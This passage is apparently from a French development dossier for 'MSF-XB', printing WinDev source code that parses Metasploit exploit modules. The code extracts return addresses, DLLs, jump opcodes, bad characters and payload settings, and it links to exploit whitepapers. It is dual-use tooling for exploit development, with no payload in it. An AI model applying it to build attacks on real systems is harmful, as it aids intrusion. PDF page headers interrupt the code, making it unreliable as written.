SI ChaîneOccurrence(LigneLue,"{")=0 ALORSDESCRIPTION += Remplace(NoSpace(LigneLue),TAB,"")+" "

FINLigneLue=fLitLigne(NumFic)

FINFIN

//REFERENCES (URLs)SI ExtraitChaîne(LigneLue,2,"'")="Refs" OR ExtraitChaîne(LigneLue,2,"'")="References" THEN

IF ChaîneOccurrence(LigneLue,"],")>0 ALORSLigneLue = NoSpace( Remplace(Remplace( ExtraitChaîne(LigneLue,2,"=>"),"[ [","["),"] ],","]") )TEST_REFERENCE()

SINONTANTQUE NoSpace(LigneLue)<>"]," ET LigneLue<>EOT

LigneLue=NoSpace(Remplace(fLitLigne(NumFic),TAB,""))SI NoSpace(LigneLue)<>"[" AND NoSpace(LigneLue)<>"]," ALORS

Page 872: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 878

LigneLue = NoSpace(Remplace(LigneLue,"],","]"))

// REFERENCE += LigneLue +RCTEST_REFERENCE()

FIN

FIN //tantque nospace(LigneLue)<>"]," et LigneLue<>EOTFIN

FIN

//TARGETSSI ExtraitChaîne(LigneLue,2,"'")="Targets" THEN

IF ChaîneOccurrence(LigneLue,"],")>0 ALORSLigneLue = NoSpace( Remplace(Remplace( ExtraitChaîne(LigneLue,2,"=>"),"[ [","["),"] ],","]") )// info("DEBUG1: "+lignelue)// TEST_REFERENCE()

SINONtempLigneLue is stringSI Droite(Upper(SCSelecteurFichier.SAIS_FIC),3)=".PM" ALORS //MSF 2.x

TANTQUE NoSpace(LigneLue)<>"]," ET LigneLue<>EOTLigneLue=NoSpace(Remplace(fLitLigne(NumFic),TAB,""))SI NoSpace(LigneLue)<>"[" AND NoSpace(LigneLue)<>"]," ALORS

tempLigneLue=LigneLue

tempLigneLue = NoSpace(Remplace(LigneLue,"],","]"))tempLigneLue = ExtraitChaîne(LigneLue, 2, "'")SI Taille(tempLigneLue)>1 ALORS

// info(tempLigneLue)

//Adresse de retour?SI ChaîneOccurrence(LigneLue, "0x")>0 ALORS

// info("DEBUG ret: "+ExtraitChaîne(LigneLue,2,"0x"))tempLigneLue+=TAB+"0x"+Gauche( ExtraitChaîne(LigneLue,2,"0x"), 8)SI ADRESSE_RETOUR="" ALORS ADRESSE_RETOUR= "0x" + Gauche( ExtraitChaîne(LigneLue,2,"0x"), 8)

FIN//DLL?SI ChaîneOccurrence(Upper(LigneLue), ".DLL")>0 ALORS

tempLigneLue+= TAB+ExtraitChaîne( ExtraitChaîne(Upper(LigneLue),1,".DLL") ,1, " ", DepuisFin) + ".DLL"SI DLL="" ALORS DLL= ExtraitChaîne( ExtraitChaîne(Upper(LigneLue),1,".DLL") ,1, " ", DepuisFin) + ".DLL"

FIN

ListeAjoute(COMBO_TARGET, tempLigneLue)COMBO_TARGET=1

FIN

Page 873: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 879

tempLigneLue = NoSpace(Remplace(LigneLue,"],","]"))tempLigneLue = ExtraitChaîne(LigneLue, 2, Caract(34))SI Taille(tempLigneLue)>1 ALORS

//Adresse de retour?SI ChaîneOccurrence(LigneLue, "0x")>0 ALORS

// info("DEBUG ret: "+ExtraitChaîne(LigneLue,2,"0x"))tempLigneLue+=TAB+"0x"+Gauche( ExtraitChaîne(LigneLue,2,"0x"), 8)SI ADRESSE_RETOUR="" ALORS ADRESSE_RETOUR= "0x" + Gauche( ExtraitChaîne(LigneLue,2,"0x"), 8)

FIN//DLL?SI ChaîneOccurrence(Upper(LigneLue), ".DLL")>0 ALORS

tempLigneLue+= TAB+ExtraitChaîne( ExtraitChaîne(Upper(LigneLue),1,".DLL") ,1, " ", DepuisFin) + ".DLL"SI DLL="" ALORS DLL= ExtraitChaîne( ExtraitChaîne(Upper(LigneLue),1,".DLL") ,1, " ", DepuisFin) + ".DLL"

FIN

ListeAjoute(COMBO_TARGET, tempLigneLue)COMBO_TARGET=1

FIN

// Info("DEBUG2: "+LigneLue)

// REFERENCE += LigneLue +RC// TEST_REFERENCE()

FIN

FIN //tantque nospace(LigneLue)<>"]," et LigneLue<>EOTFIN

//********************************************************************************************************************************************************************************

//************* TARGETS ************************************************** MSF3 **************************************************************************************************

//********************************************************************************************************************************************************************************

SI Droite(Upper(SCSelecteurFichier.SAIS_FIC),3)=".RB" ALORS //MSF 3.xTANTQUE ChaîneOccurrence(LigneLue, "DisclosureDate")<1 ET ChaîneOccurrence(LigneLue, "Privileged")<1 ET NoSpace(LigneLue)<>"end" ET LigneLue<>EOT

LigneLue=NoSpace(Remplace(fLitLigne(NumFic),TAB,""))

Page 874: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 880

SI NoSpace(LigneLue)<>"[" AND NoSpace(LigneLue)<>"]," AND NoSpace(LigneLue)<>"{" AND NoSpace(LigneLue)<>"}," ET Gauche(NoSpace(LigneLue),1)<>"#" ALORS//ET ChaîneOccurrence(LigneLue, "Platform")<1

// tempLigneLue=LigneLue

// tempLigneLue = NoSpace(Remplace(LigneLue,"],","]"))SI ChaîneOccurrence(LigneLue, "'Ret'")=0 ALORS

SI ChaîneOccurrence(LigneLue, "Platform")=0 ALORStempLigneLue = ExtraitChaîne(LigneLue, 2, "'")

FINSINON

SI ChaîneOccurrence(LigneLue, ", { 'Ret'")>0 OR ChaîneOccurrence(Upper(lignelue), "WINDOWS")>0 ALORS//La cible est sur la même ligne que Ret

tempLigneLue = ExtraitChaîne(LigneLue, 2, "'")SI OS="" ALORS OS="win"

FIN

//Adresse de retour?SI ChaîneOccurrence(LigneLue, "0x")>0 ALORS

// info("DEBUG ret: "+ExtraitChaîne(LigneLue,2,"0x"))tempLigneLue+=TAB+"0x"+Gauche( ExtraitChaîne(LigneLue,2,"0x"), 8)SI ADRESSE_RETOUR="" ALORS ADRESSE_RETOUR= "0x" + Gauche( ExtraitChaîne(LigneLue,2,"0x"), 8)

FIN//DLL?SI ChaîneOccurrence(Upper(LigneLue), ".DLL")>0 ALORS

tempLigneLue+= TAB+NoSpace( ExtraitChaîne( ExtraitChaîne(Upper(LigneLue),1,".DLL") ,1, " ", DepuisFin) ) + ".DLL"SI DLL="" ALORS DLL= ExtraitChaîne( ExtraitChaîne(Upper(LigneLue),1,".DLL") ,1, " ", DepuisFin) + ".DLL"

FIN//Opcode?SI ChaîneOccurrence(Upper(lignelue), "PUSH ESP, RET")>0 ALORS

TANTQUE ChaîneOccurrence(tempLigneLue, TAB)<2 //Si on a pas trouvé de DLL dans le code de l'exploit//On recherche dans la BDDHLitRecherche(OPcode,Adresse,Remplace(ADRESSE_RETOUR,"0x",""))SI HTrouve ALORS

tempLigneLue+= TAB+OPcode.DLLnomSI dll="" ALORS dll=OPcode.DLLnom

SINONtempLigneLue+= TAB+" "

FINFINtempLigneLue+= TAB+"push ESP - ret"

// Trace(tempLigneLue)

Page 875: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 881

// info(tempLigneLue)SINON

SI ChaîneOccurrence(Upper(LigneLue), "POP/POP/RET")>0 ALORSTANTQUE ChaîneOccurrence(tempLigneLue, TAB)<2//Si on a pas trouvé de DLL dans le code de l'exploit

//On recherche dans la BDDHLitRecherche(OPcode,Adresse,Remplace(ADRESSE_RETOUR,"0x",""))SI HTrouve ALORS

tempLigneLue+= TAB+OPcode.DLLnomSI DLL="" ALORS DLL=OPcode.DLLnom

SINONtempLigneLue+= TAB+" "

FINFINtempLigneLue+= TAB+"pop/pop/ret"

SINON//Recherche dans la BDDHLitRecherche(OPcode,Adresse,Remplace(ADRESSE_RETOUR,"0x",""))SI HTrouve ALORS

tempLigneLue+= TAB+OPcode.OPcodeSI MON_OPCODE="" ALORS MON_OPCODE=OPcode.OPcode

FINFIN

FINSI MON_OPCODE="" ALORS

SI ChaîneOccurrence(Upper(LigneLue),"JMP EAX")>0 OR ChaîneOccurrence(Upper(LigneLue),"CALL EAX")>0 ALORS

MON_OPCODE="jmp EAX"FINSI ChaîneOccurrence(Upper(LigneLue),"JMP EBX")>0 OR ChaîneOccurrence(Upper(LigneLue),"CALL EBX")>0 ALORS

MON_OPCODE="jmp EBX"FINSI ChaîneOccurrence(Upper(LigneLue),"JMP ECX")>0 OR ChaîneOccurrence(Upper(LigneLue),"CALL ECX")>0 ALORS

MON_OPCODE="jmp ECX"FINSI ChaîneOccurrence(Upper(LigneLue),"JMP EDX")>0 OR ChaîneOccurrence(Upper(LigneLue),"CALL EDX")>0 ALORS

MON_OPCODE="jmp EDX"FINSI ChaîneOccurrence(Upper(LigneLue),"JMP EDI")>0 OR ChaîneOccurrence(Upper(LigneLue),"CALL EDI")>0 ALORS

MON_OPCODE="jmp EDI"FINSI ChaîneOccurrence(Upper(LigneLue),"JMP ESI")>0 OR ChaîneOccurrence(Upper(LigneLue),"CALL ESI")>0 ALORS

MON_OPCODE=

Page 876: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 882

"jmp ESI"FINSI ChaîneOccurrence(Upper(LigneLue),"JMP EBP")>0 OR ChaîneOccurrence(Upper(LigneLue),"CALL EBP")>0 ALORS

MON_OPCODE="jmp EBP"FINSI ChaîneOccurrence(Upper(LigneLue),"JMP ESP")>0 OR ChaîneOccurrence(Upper(LigneLue),"CALL ESP")>0 ALORS

MON_OPCODE="jmp ESP"FIN

FIN//tempLigneLue=Plateforme +TAB+ Adresse +TAB+ Dll +TAB+ OpcodeListeAjoute(COMBO_TARGET, tempLigneLue)COMBO_TARGET=1

FINFIN

FINFIN

FINFIN

SI NoSpace( ExtraitChaîne(LigneLue,2,"'") )="Keys" THENKEY = ExtraitChaîne(LigneLue,4,"'")SI Taille(KEY)<2 ALORS KEY=""

FIN

SI NoSpace( ExtraitChaîne(LigneLue,2,"'") )="DisclosureDate" THENDATE_DIVULGATION = ExtraitChaîne(LigneLue,4,"'")SI Taille(DATE_DIVULGATION)<2 ALORS DATE_DIVULGATION=""

FIN

LigneLue = fLitLigne(NumFic)FIN //FIN tantque lignelue<>EOT

fFerme(NumFic)

//Recherche d'informations complémentaires sur l'exploit dans la BDD localeSI Upper(fExtraitChemin(SCSelecteurFichier.SAIS_FIC,fExtension))=".PM" ALORS //MSF 2.x

HLitRecherche(EXPLOIT,NOM_FICHIER,fExtraitChemin(SCSelecteurFichier.SAIS_FIC,fFichier+fExtension))SI H.Trouve ALORS

SI MON_OPCODE="" ALORSMON_OPCODE=EXPLOIT.OPCODE

FINSI dll="" ALORS

Page 877: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 883

dll=EXPLOIT.DLLFINSI EXPLOIT.DOWNLOAD_URL<>"" ALORS

TableAjoute(TABLE_REFERENCE, "SecurInfos"+TAB+EXPLOIT.DOWNLOAD_URL)FIN

FINFINSI Upper(fExtraitChemin(SCSelecteurFichier.SAIS_FIC,fExtension))=".RB" ALORS //MSF 3.x

sNOM_FICHIER_MSF3 is string=ExtraitChaîne(SCSelecteurFichier.SAIS_FIC,1,"modules\",DepuisFin)sNOM_FICHIER_MSF3=Remplace(sNOM_FICHIER_MSF3,"\","/")sNOM_FICHIER_MSF3=Remplace(sNOM_FICHIER_MSF3,"exploits/","exploit/")//On enlève l'extension .rbsNOM_FICHIER_MSF3=Gauche(sNOM_FICHIER_MSF3,Taille(sNOM_FICHIER_MSF3)-3)

HLitRecherche(EXPLOIT,NOM_FICHIER_MSF3,sNOM_FICHIER_MSF3)SI H.Trouve ALORS

SI MON_OPCODE="" ALORSMON_OPCODE=EXPLOIT.OPCODE

FINSI DLL="" ALORS

DLL=EXPLOIT.DLLFINSI EXPLOIT.DOWNLOAD_URL<>"" ALORS

TableAjoute(TABLE_REFERENCE, "SecurInfos"+TAB+EXPLOIT.DOWNLOAD_URL)FIN

FINFIN

SI DATE_DIVULGATION="" ALORS TROUVE_DATE..Visible=Vrai

SI DLL="" ALORS//On cherche dans la description de l'exploit si on trouve un nom de DLLSI ChaîneOccurrence(Upper(DESCRIPTION),".DLL")>0 ALORS

DLL= ExtraitChaîne( ExtraitChaîne(Upper(DESCRIPTION),1,".DLL"),1," ",DepuisFin) +".DLL"Message("DLL trouvée dans la description...")

FINFINSI mon_OPcode="" ALORS

//On cherche dans la description de l'exploit si on trouve un opcodeSI ChaîneOccurrence(Upper(DESCRIPTION),"JMP EAX")>0 OR ChaîneOccurrence(Upper(DESCRIPTION),"CALL EAX")>0 ALORS

MON_OPCODE="jmp EAX"FINSI ChaîneOccurrence(Upper(DESCRIPTION),"JMP EBX")>0 OR ChaîneOccurrence(Upper(DESCRIPTION),"CALL EBX")>0 ALORS

MON_OPCODE="jmp EBX"FINSI ChaîneOccurrence(Upper(DESCRIPTION),"JMP ECX")>0 OR ChaîneOccurrence(Upper(DESCRIPTION),"CALL ECX")>0 ALORS

Page 878: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 884

MON_OPCODE="jmp ECX"FINSI ChaîneOccurrence(Upper(DESCRIPTION),"JMP EDX")>0 OR ChaîneOccurrence(Upper(DESCRIPTION),"CALL EDX")>0 ALORS

MON_OPCODE="jmp EDX"FINSI ChaîneOccurrence(Upper(DESCRIPTION),"JMP EDI")>0 OR ChaîneOccurrence(Upper(DESCRIPTION),"CALL EDI")>0 ALORS

MON_OPCODE="jmp EDI"FINSI ChaîneOccurrence(Upper(DESCRIPTION),"JMP ESI")>0 OR ChaîneOccurrence(Upper(DESCRIPTION),"CALL ESI")>0 ALORS

MON_OPCODE="jmp ESI"FINSI ChaîneOccurrence(Upper(DESCRIPTION),"JMP EBP")>0 OR ChaîneOccurrence(Upper(DESCRIPTION),"CALL EBP")>0 ALORS

MON_OPCODE="jmp EBP"FINSI ChaîneOccurrence(Upper(DESCRIPTION),"JMP ESP")>0 OR ChaîneOccurrence(Upper(DESCRIPTION),"CALL ESP")>0 ALORS

MON_OPCODE="jmp ESP"FIN

SI MON_OPCODE<>"" ALORSMessage("OPcode trouvé dans la description...")

FINFIN

//On cherche des WhitePapers correspondant à l'exploit/vulnérabilitéSI PAS TABLE_REFERENCE..Vide ALORS TableAjoute(TABLE_REFERENCE,"")sTempREF is stringSI Nation=3 ALORS //US

TableAjoute(TABLE_REFERENCE,"MetaSploit"+TAB+"http://www.metasploit.com/projects/Framework/documentation.html#exploitTutorial")

HLitPremier(WHITEPAPER,IDWHITEPAPER)TANTQUE PAS HEnDehors(WHITEPAPER)

SI WHITEPAPER.LANGUE="US" ALORSsTempREF="SecurInfos"SI ChaîneOccurrence(WHITEPAPER.URL,"milw0rm")>0 ALORS sTempREF="milw0rm"SI ChaîneOccurrence(Upper(OS),"WIN")>0 ET ChaîneOccurrence(WHITEPAPER.MOTS_CLES,"windows")>0 ALORS

SI (ChaîneOccurrence(Upper(NOM),"STACK OVERFLOW") OU ChaîneOccurrence(Upper(DESCRIPTION),"STACK OVERFLOW")) ET ChaîneOccurrence(WHITEPAPER.MOTS_CLES,"stack overflow")>0 ALORS

TableAjoute(TABLE_REFERENCE,sTempREF+TAB+WHITEPAPER.URL)SINON

SI (ChaîneOccurrence(Upper(NOM),"BUFFER OVERFLOW") OU ChaîneOccurrence(Upper(DESCRIPTION),"BUFFER OVERFLOW")) ET ChaîneOccurrence(WHITEPAPER.MOTS_CLES,"buffer overflow")>0 ALORS

TableAjoute(TABLE_REFERENCE,sTempREF+TAB+WHITEPAPER.URL)SINON

SI (ChaîneOccurrence(Upper(NOM)," HEAP") OU ChaîneOccurrence(Upper(DESCRIPTION),"HEAP")) ET ChaîneOccurrence(WHITEPAPER.MOTS_CLES,

Page 879: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 885

"heap")>0 ALORSTableAjoute(TABLE_REFERENCE,sTempREF+TAB+WHITEPAPER.URL)

SINONSI (ChaîneOccurrence(Upper(NOM)," SEH") OU ChaîneOccurrence(Upper(DESCRIPTION)," SEH")) ET ChaîneOccurrence(WHITEPAPER.MOTS_CLES,"seh")>0 ALORS

TableAjoute(TABLE_REFERENCE,sTempREF+TAB+WHITEPAPER.URL)SINON

SI (ChaîneOccurrence(Upper(NOM)," DEP") OU ChaîneOccurrence(Upper(DESCRIPTION)," DEP")) ET ChaîneOccurrence(WHITEPAPER.MOTS_CLES,"dep")>0 ALORS

TableAjoute(TABLE_REFERENCE,sTempREF+TAB+WHITEPAPER.URL)SINON

SI ChaîneOccurrence(WHITEPAPER.MOTS_CLES,"shellcode")>0 ALORSTableAjoute(TABLE_REFERENCE,sTempREF+TAB+WHITEPAPER.URL)

FIN

FINFIN

FINFIN

FINFIN

FINHLitSuivant(WHITEPAPER)

FIN

SINON //FRTableAjoute(TABLE_REFERENCE,"MetaSploit - JA"+TAB+"http://www.metasploit.com/projects/Framework/documentation.html#exploitTutorial_FR")TableAjoute(TABLE_REFERENCE,"SecurInfos"+TAB+"https://www.securinfos.info/metasploit/Guide_Developpeur_Metasploit3.pdf")

HLitPremier(WHITEPAPER,IDWHITEPAPER)TANTQUE PAS HEnDehors(WHITEPAPER)

SI WHITEPAPER.LANGUE="FR" ALORSsTempREF="SecurInfos"SI ChaîneOccurrence(WHITEPAPER.URL,"milw0rm")>0 ALORS sTempREF="milw0rm"SI ChaîneOccurrence(Upper(os),"WIN")>0 ET ChaîneOccurrence(WHITEPAPER.MOTS_CLES,"windows")>0 ALORS

SI (ChaîneOccurrence(Upper(nom),"STACK OVERFLOW") OU ChaîneOccurrence(Upper(DESCRIPTION),"STACK OVERFLOW")) ET ChaîneOccurrence(WHITEPAPER.MOTS_CLES,"stack overflow")>0 ALORS

TableAjoute(TABLE_REFERENCE,sTempREF+TAB+WHITEPAPER.URL)SINON

SI (ChaîneOccurrence(Upper(NOM),"BUFFER OVERFLOW") OU ChaîneOccurrence(Upper(DESCRIPTION),"BUFFER OVERFLOW")) ET ChaîneOccurrence(WHITEPAPER.MOTS_CLES,"buffer overflow")>0 ALORS

TableAjoute(TABLE_REFERENCE,sTempREF+TAB+WHITEPAPER.URL)SINON

SI (ChaîneOccurrence(Upper(NOM)," HEAP") OU ChaîneOccurrence(Upper(DESCRIPTION),"HEAP")) ET ChaîneOccurrence(WHITEPAPER.MOTS_CLES,"heap")>0 ALORS

Page 880: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 886

TableAjoute(TABLE_REFERENCE,sTempREF+TAB+WHITEPAPER.URL)SINON

SI (ChaîneOccurrence(Upper(NOM)," SEH") OU ChaîneOccurrence(Upper(DESCRIPTION)," SEH")) ET ChaîneOccurrence(WHITEPAPER.MOTS_CLES,"seh")>0 ALORS

TableAjoute(TABLE_REFERENCE,sTempREF+TAB+WHITEPAPER.URL)SINON

SI (ChaîneOccurrence(Upper(NOM)," DEP") OU ChaîneOccurrence(Upper(DESCRIPTION)," DEP")) ET ChaîneOccurrence(WHITEPAPER.MOTS_CLES,"dep")>0 ALORS

TableAjoute(TABLE_REFERENCE,sTempREF+TAB+WHITEPAPER.URL)SINON

SI ChaîneOccurrence(WHITEPAPER.MOTS_CLES,"shellcode")>0 ALORSTableAjoute(TABLE_REFERENCE,sTempREF+TAB+WHITEPAPER.URL)

FIN

FINFIN

FINFIN

FINFIN

FINHLitSuivant(WHITEPAPER)

FIN

FIN

SCRTF.SaisieTexte = EXPLOIT_CODECOLORATION_SYNTAXIQUE()

END

Procédure locale EXTRACT_PAYLOAD// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://EXTRACT_PAYLOAD ()//// Paramètres :// Aucun// Valeur de retour :// Aucune//// Exemple :

Page 881: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 887

// Indiquez ici un exemple d'utilisation.//PROCEDURE EXTRACT_PAYLOAD()

FIN_PAYLOAD is int=0

TANTQUE FIN_PAYLOAD=0SI ExtraitChaîne(LigneLue,2,"'")="Space" THEN

FIN_PAYLOAD=0PAYLOAD_SPACE = NoSpace( Remplace( ExtraitChaîne(LigneLue,2,"=>") , "," , "") )SI ChaîneOccurrence(PAYLOAD_SPACE,"#")>0 ALORS PAYLOAD_SPACE=ExtraitChaîne(PAYLOAD_SPACE,1,"#")SI Taille(PAYLOAD_SPACE)<2 ALORS PAYLOAD_SPACE=""LigneLue=NoSpace( Remplace(fLitLigne(NumFic),TAB,"") )SI Gauche(LigneLue,1)="#" ALORS LigneLue=NoSpace( Remplace(fLitLigne(NumFic),TAB,"") )

ELSEFIN_PAYLOAD=1SI ExtraitChaîne(LigneLue,2,"'")="MinNops" THEN

FIN_PAYLOAD=0PAYLOAD_NOPS = NoSpace( Remplace( ExtraitChaîne(LigneLue,2,"=>") , "," , "") )SI Taille(PAYLOAD_NOPS)<2 ALORS PAYLOAD_NOPS=""LigneLue=NoSpace( Remplace(fLitLigne(NumFic),TAB,"") )SI Gauche(LigneLue,1)="#" ALORS LigneLue=NoSpace( Remplace(fLitLigne(NumFic),TAB,"") )

ELSEFIN_PAYLOAD=1SI ExtraitChaîne(LigneLue,2,"'")="MaxNops" THEN

FIN_PAYLOAD=0PAYLOAD_MAXNOPS = NoSpace( Remplace( ExtraitChaîne(LigneLue,2,"=>") , "," , "") )

// info(PAYLOAD_MAXNOPS)SI Taille(PAYLOAD_MAXNOPS)<2 ALORS PAYLOAD_MAXNOPS=""LigneLue=NoSpace( Remplace(fLitLigne(NumFic),TAB,"") )SI Gauche(LigneLue,1)="#" ALORS LigneLue=NoSpace( Remplace(fLitLigne(NumFic),TAB,"") )

ELSEFIN_PAYLOAD=1SI ExtraitChaîne(LigneLue,2,"'")="BadChars" THEN

FIN_PAYLOAD=0PAYLOAD_BADCHARS = NoSpace( Remplace( ExtraitChaîne(LigneLue,2,"=>") , "," , "") )SI Taille(PAYLOAD_BADCHARS)<2 ALORS PAYLOAD_BADCHARS=""LigneLue=NoSpace( Remplace(fLitLigne(NumFic),TAB,"") )SI Gauche(LigneLue,1)="#" ALORS LigneLue=NoSpace( Remplace(fLitLigne(NumFic),TAB,"") )

SI ChaîneOccurrence(LigneLue,"\x")>1 ET ChaîneOccurrence(LigneLue,"Prepend")=0 ALORSPAYLOAD_BADCHARS += Remplace(LigneLue,",","")LigneLue=NoSpace( Remplace(fLitLigne(NumFic),TAB,"") )SI Gauche(LigneLue,1)="#" ALORS LigneLue=NoSpace( Remplace(fLitLigne(NumFic),TAB,"") )

FINSI ChaîneOccurrence(LigneLue,"\x")>1 ET ChaîneOccurrence(LigneLue,"Prepend")=0 ALORS

Page 882: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 888

PAYLOAD_BADCHARS += Remplace(LigneLue,",","")LigneLue=NoSpace( Remplace(fLitLigne(NumFic),TAB,"") )SI Gauche(LigneLue,1)="#" ALORS LigneLue=NoSpace( Remplace(fLitLigne(NumFic),TAB,"") )

FINSI ChaîneOccurrence(LigneLue,"\x")>1 ET ChaîneOccurrence(LigneLue,"Prepend")=0 ALORS

PAYLOAD_BADCHARS += Remplace(LigneLue,",","")LigneLue=NoSpace( Remplace(fLitLigne(NumFic),TAB,"") )SI Gauche(LigneLue,1)="#" ALORS LigneLue=NoSpace( Remplace(fLitLigne(NumFic),TAB,"") )

FINSI ChaîneOccurrence(LigneLue,"\x")>1 ET ChaîneOccurrence(LigneLue,"Prepend")=0 ALORS

PAYLOAD_BADCHARS += Remplace(LigneLue,",","")LigneLue=NoSpace( Remplace(fLitLigne(NumFic),TAB,"") )SI Gauche(LigneLue,1)="#" ALORS LigneLue=NoSpace( Remplace(fLitLigne(NumFic),TAB,"") )

FIN

PAYLOAD_BADCHARS=Remplace(PAYLOAD_BADCHARS,Caract(34)+" +"+Caract(34), "")

//On vérifie si les BADCHARS contiennent la chaine "PrepenEncoder"SI ChaîneOccurrence(PAYLOAD_BADCHARS, "PrepenEncoder")>0 ALORS

PAYLOAD_PREPENCODER=NoSpace( Remplace(ExtraitChaîne(PAYLOAD_BADCHARS,1,"=>",DepuisFin),",","") )

PAYLOAD_BADCHARS=ExtraitChaîne(PAYLOAD_BADCHARS, 1, "'PrepenEncoder")FIN

ELSEFIN_PAYLOAD=1

//SI ExtraitChaîne(LigneLue,2,"'")="MinNops" THEN// PAYLOAD_NOPS = NoSpace( Remplace( ExtraitChaîne(LigneLue,2,"=>") , "," , "") )// SI Taille(PAYLOAD_NOPS)<2 ALORS PAYLOAD_NOPS=""// LigneLue=NoSpace( Remplace(fLitLigne(NumFic),TAB,"") )// SI Gauche(LigneLue,1)="#" ALORS LigneLue=NoSpace( Remplace(fLitLigne(NumFic),TAB,"") )//FIN

SI ExtraitChaîne(LigneLue,2,"'")="PrepenEncoder" OR ExtraitChaîne(LigneLue,2,"'")="PrependEncoder" OR ExtraitChaîne(LigneLue,2,"'")="Prepend" THEN

FIN_PAYLOAD=0PAYLOAD_PREPENCODER = NoSpace( Remplace(ExtraitChaîne(LigneLue,2,"=>"),",","") )SI Taille(PAYLOAD_PREPENCODER)<2 ALORS PAYLOAD_PREPENCODER=""LigneLue=NoSpace( Remplace(fLitLigne(NumFic),TAB,"") )SI Gauche(LigneLue,1)="#" ALORS LigneLue=NoSpace( Remplace(fLitLigne(NumFic),TAB,"") )

ELSEFIN_PAYLOAD=1SI ExtraitChaîne(LigneLue,2,"'")="Keys" THEN

FIN_PAYLOAD=0PAYLOAD_KEY = NoSpace( Remplace( ExtraitChaîne(LigneLue,4,"'") , "," , "") )SI Taille(PAYLOAD_KEY)<2 ALORS

Page 883: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 889

PAYLOAD_KEY=""SINON

MonCpt=6TANTQUE Taille( ExtraitChaîne(LigneLue,MonCpt,"'") )>2

PAYLOAD_KEY+=" "+ExtraitChaîne(LigneLue,MonCpt,"'")MonCpt+=2

FINFINLigneLue=NoSpace( Remplace(fLitLigne(NumFic),TAB,"") )SI Gauche(LigneLue,1)="#" ALORS LigneLue=NoSpace( Remplace(fLitLigne(NumFic),TAB,"") )

FINFIN

FINFIN

FINFIN

FIN //TANTQUE

//SI ExtraitChaîne(LigneLue,2,"'")="PrependEncoder" OR ExtraitChaîne(LigneLue,2,"'")="Prepend" THEN// PAYLOAD_PREPENCODER = NoSpace( Remplace(ExtraitChaîne(LigneLue,2,"=>"),",","") )// SI Taille(PAYLOAD_PREPENCODER)<2 ALORS PAYLOAD_PREPENCODER=""// LigneLue=NoSpace( Remplace(fLitLigne(NumFic),TAB,"") )// SI Gauche(LigneLue,1)="#" ALORS LigneLue=NoSpace( Remplace(fLitLigne(NumFic),TAB,"") )//FIN

Procédure locale Find_Date// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://Find_Date ()//// Paramètres :// Aucun// Valeur de retour :// Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//// Procédure automatique :// La procédure est exécutée manuellement, lors d'un appel dans le code// Elle s'exécutera dans un thread (sans avoir besoin d'appeler la fonction ThreadExecute), sans utilisation de Hyper File//

Page 884: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 890

PROCEDURE Find_Date()

StrTemp is string //Chaine de traitement pour code + lisibleStrTemp=URL

IF ChaîneOccurrence(URL,"http://www.idefense.com")>0 ALORSStrTemp+="&flashstatus=false"END

HTTPRequête(StrTemp)

IF ChaîneOccurrence(URL,"http://www.osvdb.org")>0 ALORSDélaiAvantFermeture(1000)StrTemp=ExtraitChaîne(ExtraitChaîne(HTTPDonneRésultat(),2,"Disclosure Date</B>: "),1,"</B>")SI Taille(StrTemp)>2 ALORS DATE_DIVULGATION=StrTemp

FINIF ChaîneOccurrence(URL,"http://www.securityfocus.com")>0 ALORS

